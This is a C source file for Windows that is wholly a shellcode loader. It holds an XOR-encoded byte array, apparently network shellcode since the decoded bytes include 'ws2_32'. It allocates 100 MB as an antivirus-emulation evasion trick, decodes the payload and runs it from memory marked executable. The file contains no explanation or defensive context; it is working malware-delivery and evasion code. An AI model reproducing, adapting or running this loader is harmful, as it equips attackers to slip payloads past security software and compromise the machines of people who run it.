shellcode_too_much_mem.c

#include <windows.h>
#include <iostream>

#define TOO_MUCH_MEM 100000000

void decrypt(char * b, char * c, int n) {
	for (int i = 0; i < n; i++) {
		c[i] = b[i] ^ 'f';
	}
}

void exec(char * d, int n) {
	void *exec = VirtualAlloc(0, n, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (exec != NULL) {
		memcpy(exec, d, n);
		((void(*)())exec)();
	}
}

int main(int argc, char **argv) {
	char b[] = { 0x9a, 0x8e, 0xe4, 0x66, 0x66, 0x66, 0x06, 0xef, 0x83, 0x57, 0xa6, 0x02,
		0xed, 0x36, 0x56, 0xed, 0x34, 0x6a, 0xed, 0x34, 0x72, 0xed, 0x14, 0x4e, 0x69, 0xd1,
		0x2c, 0x40, 0x57, 0x99, 0xca, 0x5a, 0x07, 0x1a, 0x64, 0x4a, 0x46, 0xa7, 0xa9, 0x6b,
		0x67, 0xa1, 0x84, 0x94, 0x34, 0x31, 0xed, 0x34, 0x76, 0xed, 0x2c, 0x5a, 0xed, 0x2a,
		0x77, 0x1e, 0x85, 0x2e, 0x67, 0xb7, 0x37, 0xed, 0x3f, 0x46, 0x67, 0xb5, 0xed, 0x2f,
		0x7e, 0x85, 0x5c, 0x2f, 0xed, 0x52, 0xed, 0x67, 0xb0, 0x57, 0x99, 0xca, 0xa7, 0xa9,
		0x6b, 0x67, 0xa1, 0x5e, 0x86, 0x13, 0x90, 0x65, 0x1b, 0x9e, 0x5d, 0x1b, 0x42, 0x13,
		0x82, 0x3e, 0xed, 0x3e, 0x42, 0x67, 0xb5, 0x00, 0xed, 0x6a, 0x2d, 0xed, 0x3e, 0x7a,
		0x67, 0xb5, 0xed, 0x62, 0xed, 0x67, 0xb6, 0xef, 0x22, 0x42, 0x42, 0x3d, 0x3d, 0x07,
		0x3f, 0x3c, 0x37, 0x99, 0x86, 0x39, 0x39, 0x3c, 0xed, 0x74, 0x8d, 0xeb, 0x3b, 0x0e,
		0x55, 0x54, 0x66, 0x66, 0x0e, 0x11, 0x15, 0x54, 0x39, 0x32, 0x0e, 0x2a, 0x11, 0x40,
		0x61, 0x99, 0xb3, 0xde, 0xf6, 0x67, 0x66, 0x66, 0x4f, 0xa2, 0x32, 0x36, 0x0e, 0x4f,
		0xe6, 0x0d, 0x66, 0x99, 0xb3, 0x0c, 0x63, 0x0e, 0xa6, 0xce, 0x67, 0xbf, 0x0e, 0x64,
		0x66, 0x77, 0x3a, 0xef, 0x80, 0x36, 0x36, 0x36, 0x36, 0x26, 0x36, 0x26, 0x36, 0x0e,
		0x8c, 0x69, 0xb9, 0x86, 0x99, 0xb3, 0xf1, 0x0c, 0x76, 0x30, 0x31, 0x0e, 0xff, 0xc3,
		0x12, 0x07, 0x99, 0xb3, 0xe3, 0xa6, 0x12, 0x6c, 0x99, 0x28, 0x6e, 0x13, 0x8a, 0x8e,
		0x07, 0x66, 0x66, 0x66, 0x0c, 0x66, 0x0c, 0x62, 0x30, 0x31, 0x0e, 0x64, 0xbf, 0xae,
		0x39, 0x99, 0xb3, 0xe5, 0x9e, 0x66, 0x18, 0x50, 0xed, 0x50, 0x0c, 0x26, 0x0e, 0x66,
		0x76, 0x66, 0x66, 0x30, 0x0c, 0x66, 0x0e, 0x3e, 0xc2, 0x35, 0x83, 0x99, 0xb3, 0xf5,
		0x35, 0x0c, 0x66, 0x30, 0x35, 0x31, 0x0e, 0x64, 0xbf, 0xae, 0x39, 0x99, 0xb3, 0xe5,
		0x9e, 0x66, 0x1b, 0x44, 0x3e, 0x0e, 0x66, 0x26, 0x66, 0x66, 0x0c, 0x66, 0x36, 0x0e,
		0x6d, 0x49, 0x69, 0x56, 0x99, 0xb3, 0x31, 0x0e, 0x13, 0x08, 0x2b, 0x07, 0x99, 0xb3,
		0x38, 0x38, 0x99, 0x6a, 0x42, 0x8f, 0x17, 0x99, 0x99, 0x99, 0x67, 0xa5, 0x4f, 0xa0,
		0x13, 0xa1, 0xa5, 0xdd, 0x96, 0xd3, 0xc4, 0x30, 0x0c, 0x66, 0x35, 0x99, 0xb3 };
	char c[sizeof b] = { 0 };

	char * memdmp = NULL;
	memdmp = (char *)malloc(TOO_MUCH_MEM);
	if (memdmp != NULL) {
		memset(memdmp, 00, TOO_MUCH_MEM);
		free(memdmp);
		decrypt(b, c, sizeof b);
		exec(c, sizeof c);
	}

	return 0;
}